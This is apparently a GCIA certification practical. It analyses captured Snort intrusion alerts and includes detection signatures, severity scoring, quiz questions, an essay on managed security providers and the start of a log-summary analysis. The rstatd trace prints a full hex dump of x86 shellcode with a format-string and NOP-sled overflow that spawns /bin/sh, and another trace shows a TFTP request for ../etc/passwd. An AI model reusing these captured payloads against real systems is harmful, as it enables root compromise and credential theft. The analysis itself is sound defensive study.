Dennis Davis
GCIA Practical Assignment – Intrusion Detection Version 2.8a

Assignment 1 - Network Detects

```
[**] IDS264/dos-ath0-modem-disconnect [**]
05/27-09:24:56.023026 216.201.108.18 -> 66.68.62.202
ICMP TTL:240 TOS:0x0 ID:9 IpLen:20 DgmLen:37
Type:8  Code:0  ID:2   Seq:0  ECHO
2B 2B 2B 41 54 48 30 0D 0A                    +++ATH0..
```

Source of Trace
The source of this trace was my test network.

Detect Generated By
The preceding trace was generated by Snort, version 1.7. The signature that was used to detect this attack was

```
alert ICMP $EXTERNAL any -> $INTERNAL any (msg: "IDS264/misc_dos-ath0-modem-disconnect"; itype:
8; content: "+++ath0"; nocase;)
```

Probability the Source Address Was Spoofed
High, if this had been an actual attack. There is a high probability of the source address being spoofed since no response is necessary for the attack to be successful.

Description of attack
This event represents an attempt to cause a modem to disconnect by sending a modem command as part of an ICMP packet.

Attack mechanism
The data in the packet illustrates an attempt to send a +++ in order to set the modem into command mode. Once this is accomplished, the modem string ATH0 signals the modem to disconnect. This data is hidden within an ICMP echo request packet. An echo reply, which contains a new timestamp and checksum, is sent to the modem which issues the command, disconnecting the line.

Correlations
This particular attack is very well known, particularly within IRC circles. A number of scripts and tools that craft spoofed packets in order to carry out this particular attack are available on the Internet.

Evidence of active targeting
This exploit was detected on a test network while running a Nessus scan. The destination IP address was being tested for vulnerabilities.

Severity
Target Criticality: 2 (The destination IP address is a Solaris workstation at home.)
Lethality: 2 (This attack is more of a nuisance than an actual threat.)
System Countermeasures: 5 (The system in question is connected to a cable modem and is not susceptible to this attack.)
Network Countermeasures: 1 (The system is not behind a firewall.)
Attack Severity: -2. (2 + 2) - (5 + 1) = -2.

Defense Recommendation
In this instance the targeted system is attached to a cable modem and is not susceptible to this type of attack. If it had been using a conventional modem that was vulnerable, it could be patched by setting the modem register S2 to a value that would turn off the command mode for the modem. Placing the statement S2=255 in the call string will correct this problem with many modems. Filtering ICMP echo requests would also be a possible solution.

Question 1
What ICMP message service is illustrated in the event trace?
A. echo request
B. echo reply
C. port unreachable
D. host unreachable

A

```
[**] IDS362/shellcode-x86-nops-udp [**]
05/15-12:26:24.633173 213.29.52.146:943 -> 66.68.164.104:32777
UDP TTL:45 TOS:0x0 ID:29485 IpLen:20 DgmLen:1104
Len: 1084
32 6B C2 80 00 00 00 00 00 00 00 02 00 01 86 B8  2k..............
00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 20  ................
3B 01 66 4C 00 00 00 09 6C 6F 63 61 6C 68 6F 73  ;.fL....localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  t...............
00 00 00 00 00 00 00 00 00 00 03 E7 18 F7 FF BF  ................
18 F7 FF BF 19 F7 FF BF 19 F7 FF BF 1A F7 FF BF  ................
1A F7 FF BF 1B F7 FF BF 1B F7 FF BF 25 38 78 25  ............%8x%
38 78 25 38 78 25 38 78 25 38 78 25 38 78 25 38  8x%8x%8x%8x%8x%8
78 25 38 78 25 38 78 25 32 33 36 78 25 6E 25 31  x%8x%8x%236x%n%1
33 37 78 25 6E 25 31 30 78 25 6E 25 31 39 32 78  37x%n%10x%n%192x
25 6E 90 90 90 90 90 90 90 90 90 90 90 90 90 90  %n..............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
```

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 31 C0  ..............1.
EB 7C 59 89 41 10 89 41 08 FE C0 89 41 04 89 C3  .|Y.A..A....A...
FE C0 89 01 B0 66 CD 80 B3 02 89 59 0C C6 41 0E  .....f.....Y..A.
99 C6 41 08 10 89 49 04 80 41 04 0C 88 01 B0 66  ..A...I..A.....f
```

```
CD 80 B3 04 B0 66 CD 80 B3 05 30 C0 88 41 04 B0  .....f....0..A..
66 CD 80 89 CE 88 C3 31 C9 B0 3F CD 80 FE C1 B0  f......1..?.....
3F CD 80 FE C1 B0 3F CD 80 C7 06 2F 62 69 6E C7  ?.....?..../bin.
46 04 2F 73 68 41 30 C0 88 46 07 89 76 0C 8D 56  F./shA0..F..v..V
10 8D 4E 0C 89 F3 B0 0B CD 80 B0 01 CD 80 E8 7F  ..N.............
FF FF FF 00                                      ....
```

Source of Trace

The source of this trace was my network.

Detect Generated By

The preceding trace was generated by Snort, version 1.7. The signature that was used to detect this attack was

```
alert UDP $EXTERNAL any -> $INTERNAL any (msg: "IDS362/shellcode_shellcode-x86-nops-udp";
content: "|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|";)
```

Probability the Source Address Was Spoofed

High. There is a high probability of the source address being spoofed because the event was triggered by a UDP packet. No response is necessary to carry out the exploit. If the attempt is successful, the attacker can return later.

Description of attack

This is an example of an rstatd buffer overflow attack.

Attack mechanism

The 0x90 characters in the event trace indicate the NO-OP operation in x86 machine code. These NO-OP, no-operation, bytes are utilized as padding in many buffer overflow exploits. By writing more data into the buffer than it can handle, the stack be corrupted and malicious code can be executed with root privileges. This method can be used to compromise the system.

Correlations

Buffer overflows are extremely common due to poor programming practices and date back as far as the Morris Internet Worm in 1988. rstatd buffer overflows are frequently used to gain root access on systems. See also CVE-1999-0018.

Evidence of active targeting

Medium to high. While this event was only detected for the host that was targeted, it is more than likely part of a much larger attack. It is worth noting the no reconnaissance activity was noticed prior to this attempt. There is a high probability that this type of activity occurred prior to the attempted exploit when no IDS was running. The targeted host was running rstatd at the time the exploit was attempted.

Severity

Target Criticality: 2 (The destination IP address is a Solaris workstation at home.)
Lethality: 5 (Root access to the targeted host is possible.)

System Countermeasures: 4 (The system in question is up-to-date on patches and is running the most current version of the operating system.)
Network Countermeasures: 1 (The system is not behind a firewall.)
Attack Severity: 2. (2 + 5) - (4 + 1) = 2.

Defense Recommendation

Since this system is attached to a cable modem, it is particularly susceptible to routine probing. While the system is running the most recent version of the operating system and is up-to-date on patches, it is still potentially vulnerable. A firewall is an absolute necessity for systems that have always on access. The system can also be hardened using a variety of scripts that greatly simplify the process of locking down a system. Examples include YASSP, Titan, and JASS.

Disabling stack execution by adding "set noexec_user_stack=1" to the /etc/system file will help to prevent many Solaris buffer overflows from working.

Question 2

A NO-OP hex code of 90 indicates that the exploit code for a buffer overflow attack was written with what processor type in mind.

A. x86
B. SPARC
C. PowerPC
D. DEC Alpha

A

```
[**] IDS536/dos-cisco_null_snmp [**]
05/27-08:48:30.324017 216.99.200.242:41690 -> 66.68.62.202:161
UDP TTL:35 TOS:0x0 ID:510 IpLen:20 DgmLen:28
Len: 8
```

Source of Trace

The source of this trace was my test network.

Detect Generated By

The preceding trace was generated by Snort, version 1.7. The signature that was used to detect this attack was

```
alert UDP $EXTERNAL any -> $INTERNAL 161 (msg: "IDS536/dos_dos-cisco_null_snmp"; dsize: 0;)
```

Probability the Source Address Was Spoofed

High, if this had been an actual attack. There is a high probability of the source address being spoofed since the alarm was triggered by a UDP packet. No response is necessary for this attack to be successful. The source IP address in this instance is not being spoofed since it was triggered during a vulnerability test.

Description of attack
This event trace represents a Denial of Service (DoS) attempt against a Cisco Catalyst switch (WS-C2924C-XL-EN).

Attack mechanism
By sending a null UDP packet to port 161, the Cisco catalyst switch can be caused to crash. SNMP would need to be disabled for this attack to be successful.

Correlations
An advisory and demonstration exploit was credited to bashis in the arachNIDS Intrusion Event Database. There is no corresponding CVE or Bugtraq information for this exploit. No information regarding wide scale exploitation of this vulnerability was found

Evidence of active targeting
This exploit was detected on a test network while running a Nessus scan. The destination IP address was being tested for vulnerabilities.

Severity
Target Criticality: 2 (The destination IP address is a Solaris workstation at home.)
Lethality: 3 (While this attack represents a DoS, the affected system is rather specific.)
System Countermeasures: 5 (The targeted system is a Solaris workstation that is not utilizing SNMP.)
Network Countermeasures: 1 (The system is not behind a firewall.)
Attack Severity: -1. (2 + 3) - (5 + 1) = -1.

Defense Recommendation
No defensive recommendation is necessary as the targeted system is not running SNMP. If a system is using SNMP, care should be taken that default passwords are not being used. Software should be patched and up-to-date. If SNMP agents are not needed, they should be disabled. SNMP traffic should be blocked at the perimeter. MIBs should be made read only when possible and community names should be checked using snmpwalk.

Question 3
Which best describes SNMP?
A. UDP, port 61
B. ICMP/UDP, port 161
C. UDP, port 161
D. ICMP/UDP, port 161

C

```
[**] IDS137/TFTP-parent_directory [**]
05/27-09:17:07.857352 216.201.108.18:4433 -> 66.68.62.202:69
UDP TTL:46 TOS:0x0 ID:64151 IpLen:20 DgmLen:50
```

```
Len: 30
00 01 2E 2E 2F 65 74 63 2F 70 61 73 73 77 64 00  ..../etc/passwd.
6F 63 74 65 74 00                                octet.
```

Source of Trace

The source of this trace was my network.

Detect Generated By

The preceding trace was generated by Snort, version 1.7. The signature that was used to detect this attack was

```
alert UDP $EXTERNAL any -> $INTERNAL 69 (msg: "IDS137/tftp_TFTP-parent_directory"; content: "..";)
```

Probability the Source Address Was Spoofed

Low. While it is relatively easy to spoof a UDP packet in order to carry out this particular attack, it is somewhat unlikely. The attacker is attempting to retrieve the /etc/passwd file. At the very least, the attacker must be in position where they can intercept the response.

Description of attack

This event indicates an attempt to access the /etc/passwd file via TFTP.

Attack mechanism

Early or incorrectly configured versions of the TFTP server often allow attackers to retrieve any file on the server. This is accomplished by prefixing the request with either a / or ../ in order to escape the default directory. The attacker, in this instance, is attempting to retrieve the /etc/passwd file in order to brute force a password.

Correlations

Attacks utilizing the inherent security flaws of Trivial File Transfer Protocol (TFTP) are relatively common and can provide an attacker with an easy method of gaining access to network devices such as routers. See also CVE-1999-0183, CA-1991-18, and X-Force database.

Evidence of active targeting

While this trace was only detected for the host that was targeted, it is more than likely part of a much larger probe.

Severity

Target Criticality: 2 (The destination IP address is a Solaris workstation at home.)
Lethality: 4 (Unrestricted access to system files can lead to a more serious compromise.)
System Countermeasures: 5 (The system in question is not running a TFTP server.)
Network Countermeasures: 1 (The system is not behind a firewall.)
Attack Severity: 0. (2 + 4) - (5 + 1) = 0.

Defense Recommendation

If TFTP service is not needed it should be disabled. At the very least, access to TFTP servers should be restricted to directories such as /tftpboot in order to prevent attackers from accessing critical system files. Shadowing the passwd file would also be a useful countermeasure in this particular instance.

Question 4
Which port is commonly associated with TFTP?
A. 16
B. 21
C. 67
D. 69

D

```
 [**] IDS171/ping zeros [**]
05/13-09:03:01.775488 131.173.17.40 -> 66.68.164.104
ICMP TTL:236 TOS:0x0 ID:32665 IpLen:20 DgmLen:1500 DF
Type:8  Code:0  ID:0   Seq:0  ECHO
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

Source of Trace
The source of this trace was my test network.

Detect Generated By
The preceding trace was generated by Snort, version 1.7. The signature that was used to detect this probe was

```
alert ICMP $EXTERNAL any -> $INTERNAL any (msg: "IDS171/icmp_ping zeros"; itype: 8; content:
"|00000000000000000000000000000000|"; depth: 32;)
```

Probability the Source Address Was Spoofed
Low. While it is to craft a spoofed ICMP packet, a response is usually expected. A whois query revealed the following information about the source address:

Server used for this query: [whois.arin.net]
University of Osnabrueck (NET-UOS)
Computing Center Albrechtstrasse 280snabrueck
AF
DE

Netname: UOS
Netblock: 131.173.0.0 - 131.173.255.255

Coordinator:
    Meyhoefer, Helmut (HM40-RIPE-ARIN) Helmut.Meyhoefer@rz.Uni-Osnabrueck.DE
    +49 541 969 2345

Description of attack
Internet Control Message Protocol (ICMP) is a message control and error-reporting protocol. Packet InterNet Groper (ping) uses this protocol to determine host responsiveness.

Attack mechanism
Ping utilizes an ICMP echo request in order to determine whether a given host is alive. If the given host is available, an ICMP echo reply is received. If these are noted as being part of a much larger ping sweep, there may potentially be some cause for concern, as it may indicate an active attempt to map the network.

Correlations
ICMP pings are extremely common and are not usually a cause for concern. See also CVE-1999-0523.

Evidence of active targeting
While this trace was only detected for the host that was targeted, it is more than likely part of a much larger probe.

Severity
Target Criticality: 2 (The destination IP address is a Solaris workstation at home.)
Lethality: 0 (This activity, in and of itself, does not represent any significant threat.)
System Countermeasures: 5 (The system in question does not respond to a ping.)
Network Countermeasures: 1 (The system is not behind a firewall.)
Attack Severity: -4. (2 + 0) - (5 + 1) = -4.

Defense Recommendation
No defensive recommendation, aside from utilizing a firewall.

Question 4

An ICMP echo request is:

A. type 0, code 0
B. type 8, code 0
C. type 13, code 0
D. type 15, code 0

B

Assignment 2 – Describe the State of Intrusion Detection

Managed Security Service Providers

Faced with the growing complexity of networks and a threat that is becoming increasingly real, an increasing number of businesses and organizations are opting for a different approach to intrusion detection by outsourcing the function to managed security service providers (MSSPs). What has led to this trend? MSSPs offer the small to medium-sized company or organization with access to resources that they could not otherwise afford to maintain internally. While many companies feel competent to handle a multitude of security issues, they lack the overall skill necessary to implement an enterprise-wide security strategy. Intrusion detection is but one of the many components that is necessary in developing this security strategy. When combined with the increasing salary demands of security professionals and the overall lack of skilled specialists, outsourcing seems to be an attractive alternative.

According to the Gartner Group, by the year 2004, a total of 40% of security expenditures will be influenced by MSSPs (0.7 probability). The technological shift will be toward transaction-level intrusion detection for business transactions. Intrusion detection at the perimeter will move to managed service providers. The Yankee Group, a technology consultant, forecasted that the overall spending for managed security by large enterprises would increase from $140 million in the year 2000 to $1.7 billion by the year 2005. This represents a significant shift in how security is implemented and maintained.

Traditionally, the local area network (LAN) was viewed as a trusted network. Perimeter protection came in the form of a corporate firewall that was viewed as the cornerstone of protection from a threat that was deemed to be largely external. Coupled with an ever-increasing web presence, many businesses have seen the need to implement some form of intrusion detection to protect vital information assets, as well as their reputation. The proliferation of virtual private networks or VPNs resulted in an easy method of bypassing this protection.

For a number of years, corporations and organizations have been reluctant to outsource security because it entailed placing trust in an outsider and letting others see the inner workings of their operation. A reluctance to give up control in an area that was so critical stalled a process that may have come about much sooner. While there *has* been substantial growth, setbacks have occurred that may ultimately change the course of managed intrusion detection.

Pilot Network Services, a company that has provided managed Internet access and security services for 6 years, recently shut down its operations. Operating in six data centers all over the world, the company specialized in intrusion detection, remote firewall management, VPN management, and scanning for computer viruses. This was preceded by an estimated net loss of $11.2 million on a revenue of $9.7 for the quarter ending December 31st.

Smaller could potentially feel the repercussions that include a loss of trust when it comes to outsourcing critical services such as security to smaller unproven companies.

Many factors need to be taken into consideration before the decision is made to outsource intrusion detection to an MISSP.

- Is the service provider capable of writing custom signatures that can address "zero-day exploits" or are they limited to the signature that are provided by the manufacturer of the intrusion detection system. What assurance is there that the devices that are being maintained are continually updated with the latest signatures? An intrusion detection system that is not updated is comparable to virus protection software that is out of date. It can provide a false sense of security that can fail when it is needed the most.

- Does the service provider offer an assortment of solutions that can readily address a variety of environments or do they specialize in a one size fits all solution? No service provider can be in expert in all possible solutions. They should, however, be able to offer a choice of products that can complement each other and provide a solution that offers an optimal amount of protection.

- Do not overlook physical security. How secure is the facility from which the service is being provided? Does the service provider utilize proper access controls and is access to management consoles provided only to those who need it.

- What provisions are in place with respect to fault tolerance? How often are the security devices being polled and what process is in place for notification should a problem occur? While a device may appear to be "up," any number of problems could arise. Is logging being checked periodically and how? Are critical processes that run on the sensor being monitored to determine if they are functioning properly? What about routine maintenance of the device such as checking for disk space? Is there a centralized log server in the event that the security device, itself, is compromised? How much activity is kept, that is, how far back is logging maintained? If a compromise is discovered well after the fact, can accurate data be pulled to help in the investigation?

- Does the service provider have out-of-band access to managed devices? Is there built-in redundancy or is the provider "blinded" and unable to access devices and receive alarms? If you run a high-profile site this is a potential point of attack.

- Does the company specialize in security or is it merely and add-on to an existing business?

- How does the MSSP handle staff turnover? Are passwords routinely changed and do they utilize common passwords across multiple devices? Do they perform background checks on prospective employees and are they bonded?

- What emphasis if any does the provider place on certifications? While certifications do not in and of themselves guarantee expertise, they do provide a means of determining the level of knowledge that the staff has regarding intrusion detection. Look for non-vendor specific certifications, as well as vendor-specific certifications.

- To what extent does the service provider provide continuing education or training for staff members? Intrusion detection is a field that is rapidly advancing. The service provider should be able to readily address and provide information regarding new exploits. Part of the benefit of out-sourcing intrusion detection is that the service provider should be able to provide up-to-date information that would be beneficial in addressing new threats. By providing a proactive approach rather merely reactive, they can more readily determine "patterns of activity" that could pose a threat to an enterprise ahead of time.

Speak with those staff members that will actually be providing the service ahead of time to ensure that they are both knowledgeable and well trained. Look at sample reports. Do they provide an adequate level of analysis beyond merely reporting on what alarm was triggered on the device? Since many opt out of the "automated response" approach to intrusion detection, little can be derived from the service if one is merely seeing reports of port scans that should be blocked by the firewall. Is the service provider capable of providing event correlation of observed activity or are they merely providing reports of isolated incidents? The service provider should be able to pull reports that show an overall breakdown of activity from specific address blocks over time.

Keep in mind that in some instances the intrusion detection function is best handled internally. In situations where the risk is relatively low and where automated response is not an option, routine inspection of IDS logs can be handled by existing security staff. Despite the hype, not all businesses are being actively targeted by hackers. Keeping patches up-to-detail will prevent most security incidents.

Never underestimate the capabilities of your existing security staff. They are often more familiar with the peculiarities of your network environment and can more readily address the many false positives that you will be receive. A little training can go a long way and can in some situations lead to a more cost-effective situation. Remember, security is all about risk management. Don't spend more money addressing a threat that doesn't exist.

Existing operations staff can often be leveraged to address issues that may arise outside of normal work hours. Even if this is not an option, it is still necessary to develop CIRT and incident response plan that can readily address any threat that is identified by the MSSP. The weak link in many incident response plans is often the interface between the MSSP and the point of contact that is responsible for addressing any security incidents that may arise. Make certain that your service provider is not merely providing a warm body that will call you periodically when your network is port scanned.

Confidentiality agreements should be drafted with MSSPs. From the time that discussions are first initiated, the MSSP is privy to confidential information that should not be disclosed. Drafting such an agreement ensures that both parties will arrive at acceptable solutions to security concerns.

By utilizing existing security expertise whenever available, an optimal working relationship can be established. This should include all stages from the initial proposal to negotiations and eventually to the day-to-day operations of the network environment.

References

[1] Bartlett, Michael. "Security Worth $1.7 Bil By 2005 - Yankee Group." May 22, 2001. http://www.newsbytes.com/news/01/166005.html?&_ref=1745144517
[2] Dejesus, Edmund X. "Managing Managed Security" Jan 2001. http://www.infosecuritymag.com/articles/january01/cover.shtml
[3] Gaspar, Suzanne. "Security Concerns Dominate NW500 Survey." May 7, 2001. http://www.nwfusion.com/research/2001/0507feat2.html?&_ref=650835007
[4] Davidson, Stephanie and Friedman, Rich. "Special Report: Outsourcing Update." Feb 28, 2001. http://www.itworld.com/Career/1875/ITW0228outsourrcing/
[5] Gartner Group, "Information Security in an E-Business World: Coping With the Threats."
[6] Messmer, Ellen and Pappalardo, Denise. "Demise of Pilot Seen As Blow To Outsourcing." May 7, 2001. http://www.nwfusion.com/news/2001/0507pilotcrash.html

Assignment 3 - Analyze This

Signature	# Alerts	# Sources	# Destinations
Russia Dynamo - SANS Flash 28-jul-00	1	1	1
TCP SMTP Source Port traffic	4	4	3
SUNRPC highport access!	511	3	3
SNMP public access	5	2	1
NMAP TCP ping!	13	6	4
ICMP SRC and DST outside network	21	14	12
TCP SRC and DST outside network	68	17	31
Null scan!	82	68	47
Tiny Fragments - Possible Hostile Activity	112	17	9
WinGate 1080 Attempt	221	56	82
Queso fingerprint	248	30	52
Attempted Sun RPC high port access	507	4	4
connect to 515 from inside	649	5	4
SYN-FIN scan!	2221	5	1111

Possible RAMEN server activity	3842	1140	2479
Watchlist 000222 NET-NCFC	5396	17	10
Watchlist 000220 IL-ISDNNET-990517	6849	12	17
UDP SRC and DST outside network	176856	228	677

Russia Dynamo - SANS Flash 28-jul-00

```
02/03-20:46:15.618252  [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.203.50:6346 -> 194.87.6.79:1791
```

TCP SMTP Source Port traffic

This indicates that a connection was made with a source port of 25 (SMTP).

```
02/03-05:46:31.726285  [**] TCP SMTP Source Port traffic [**] 195.211.49.18:25 -> MY.NET.139.54:1007
01/30-14:31:36.054897  [**] TCP SMTP Source Port traffic [**] 11.125.218.156:25 -> MY.NET.60.17:274
01/30-14:34:09.165435  [**] TCP SMTP Source Port traffic [**] 17.135.218.56:25 -> MY.NET.60.17:979
02/04-05:37:48.374429  [**] TCP SMTP Source Port traffic [**] 200.251.185.30:25 -> MY.NET.158.238:399
```

SUNRPC highport access!

Utilizing high ports for RPC communication is a common method used by attackers to avoid detection. Since these connections are coming from America Online, @Home Network, and Brazil, they are highly suspect and should be investigated further for a potential system compromise.

```
02/03-22:17:09.957552  [**] SUNRPC highport access! [**] 205.188.5.157:5190 -> 192.168.98.227:32771
